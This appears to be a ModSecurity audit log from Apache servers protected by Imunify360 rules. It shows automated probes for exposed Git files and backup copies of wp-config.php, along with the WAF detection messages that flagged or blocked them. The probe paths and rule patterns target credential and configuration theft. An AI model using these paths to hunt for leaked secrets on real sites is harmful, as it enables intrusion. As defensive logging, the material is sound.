Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f0ab2836-Z--

--34835178-A--
[13/Sep/2026:12:12:06.016062 +0300] aqZo5SsVWymXUono-eRU2AAAAAA 172.86.81.63 40352 127.0.0.1 7081
--34835178-B--
GET /.git/logs/HEAD HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--34835178-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--34835178-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/logs/HEAD"] [unique_id "aqZo5SsVWymXUono-eRU2AAAAAA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725120004 896102 (- - -)
Stopwatch2: 1789290725120004 896102; combined=4118, p1=269, p2=3814, p3=0, p4=0, p5=35, sr=117, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--34835178-Z--

--81ba8924-A--
[13/Sep/2026:12:12:06.029943 +0300] aqZo5SsVWymXUono-eRU2wAAAAY 172.86.81.63 40356 127.0.0.1 7081
--81ba8924-B--
GET /.git/config~ HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--81ba8924-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--81ba8924-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config~"] [unique_id "aqZo5SsVWymXUono-eRU2wAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config~"] [unique_id "aqZo5SsVWymXUono-eRU2wAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config~"] [unique_id "aqZo5SsVWymXUono-eRU2wAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config~"] [unique_id "aqZo5SsVWymXUono-eRU2wAAAAY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725136823 893182 (- - -)
Stopwatch2: 1789290725136823 893182; combined=33227, p1=235, p2=32922, p3=0, p4=0, p5=69, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--81ba8924-Z--

--f40d506d-A--
[13/Sep/2026:12:12:06.045797 +0300] aqZo5SsVWymXUono-eRU3QAAAA4 172.86.81.63 40384 127.0.0.1 7081
--f40d506d-B--
GET /.git/config HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--f40d506d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f40d506d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3QAAAA4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3QAAAA4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3QAAAA4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725139091 906753 (- - -)
Stopwatch2: 1789290725139091 906753; combined=35230, p1=181, p2=34969, p3=0, p4=0, p5=80, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f40d506d-Z--

--e31c5c5b-A--
[13/Sep/2026:12:12:06.052800 +0300] aqZo5WM7dE9KgIIOpQh0TQAAANI 172.86.81.63 40304 127.0.0.1 7081
--e31c5c5b-B--
GET /.git/refs/heads/master HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--e31c5c5b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e31c5c5b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/refs/heads/master"] [unique_id "aqZo5WM7dE9KgIIOpQh0TQAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725115865 936996 (- - -)
Stopwatch2: 1789290725115865 936996; combined=4610, p1=405, p2=4144, p3=0, p4=0, p5=60, sr=130, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e31c5c5b-Z--

--bff0225b-A--
[13/Sep/2026:12:12:06.068554 +0300] aqZo5SsVWymXUono-eRU3gAAAAc 172.86.81.63 40324 127.0.0.1 7081
--bff0225b-B--
GET /.git/config HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--bff0225b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bff0225b-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3gAAAAc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3gAAAAc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZo5SsVWymXUono-eRU3gAAAAc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725139235 929417 (- - -)
Stopwatch2: 1789290725139235 929417; combined=70495, p1=150, p2=70274, p3=0, p4=0, p5=70, sr=67, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bff0225b-Z--

--f0ac8309-A--
[13/Sep/2026:12:12:06.069062 +0300] aqZo5WM7dE9KgIIOpQh0TgAAAME 172.86.81.63 40300 127.0.0.1 7081
--f0ac8309-B--
GET /.git/credentials-helper HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--f0ac8309-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f0ac8309-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/credentials-helper"] [unique_id "aqZo5WM7dE9KgIIOpQh0TgAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725123070 946036 (- - -)
Stopwatch2: 1789290725123070 946036; combined=4137, p1=267, p2=3833, p3=0, p4=0, p5=36, sr=128, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f0ac8309-Z--

--f0cfa452-A--
[13/Sep/2026:12:12:06.080717 +0300] aqZo5SsVWymXUono-eRU4QAAAAg 172.86.81.63 40368 127.0.0.1 7081
--f0cfa452-B--
GET /.git/refs/remotes/origin/master HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--f0cfa452-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f0cfa452-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/refs/remotes/origin/master"] [unique_id "aqZo5SsVWymXUono-eRU4QAAAAg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725152377 928385 (- - -)
Stopwatch2: 1789290725152377 928385; combined=4654, p1=253, p2=4353, p3=0, p4=0, p5=47, sr=82, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f0cfa452-Z--

--9c7da228-A--
[13/Sep/2026:12:12:06.108286 +0300] aqZo5SsVWymXUono-eRU2gAAABU 172.86.81.63 40312 127.0.0.1 7081
--9c7da228-B--
GET /.git/description HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--9c7da228-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9c7da228-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/description"] [unique_id "aqZo5SsVWymXUono-eRU2gAAABU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725131539 976829 (- - -)
Stopwatch2: 1789290725131539 976829; combined=6020, p1=282, p2=5675, p3=0, p4=0, p5=63, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9c7da228-Z--

--adf9af1b-A--
[13/Sep/2026:12:16:39.119435 +0300] aqZp92M7dE9KgIIOpQh0ZwAAAME 172.86.81.83 37062 127.0.0.1 7081
--adf9af1b-B--
GET /.git/config HTTP/1.1
Host: www.behappydigital.com
X-Real-IP: 172.86.81.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip

--adf9af1b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--adf9af1b-E--

--adf9af1b-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.behappydigital.com"] [uri "/.git/config"] [unique_id "aqZp92M7dE9KgIIOpQh0ZwAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.behappydigital.com"] [uri "/.git/config"] [unique_id "aqZp92M7dE9KgIIOpQh0ZwAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "www.behappydigital.com"] [uri "/.git/config"] [unique_id "aqZp92M7dE9KgIIOpQh0ZwAAAME"]
Stopwatch: 1789290999083676 35800 (- - -)
Stopwatch2: 1789290999083676 35800; combined=34315, p1=278, p2=33930, p3=55, p4=7, p5=45, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--adf9af1b-Z--

--921c6f06-A--
[13/Sep/2026:12:23:38.963907 +0300] aqZrmmM7dE9KgIIOpQh0lQAAAMI 36.77.210.5 50282 127.0.0.1 7081
--921c6f06-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--921c6f06-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--921c6f06-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZrmmM7dE9KgIIOpQh0lQAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZrmmM7dE9KgIIOpQh0lQAAAMI"]
Action: Intercepted (phase 2)
Stopwatch: 1789291418895316 68651 (- - -)
Stopwatch2: 1789291418895316 68651; combined=64290, p1=2082, p2=59799, p3=0, p4=0, p5=2408, sr=887, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--921c6f06-Z--

--5faffa7b-A--
[13/Sep/2026:12:23:40.094337 +0300] aqZrnDTJ6xTvcJoem7f6qgAAAFE 36.77.210.5 50296 127.0.0.1 7081
--5faffa7b-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--5faffa7b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5faffa7b-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
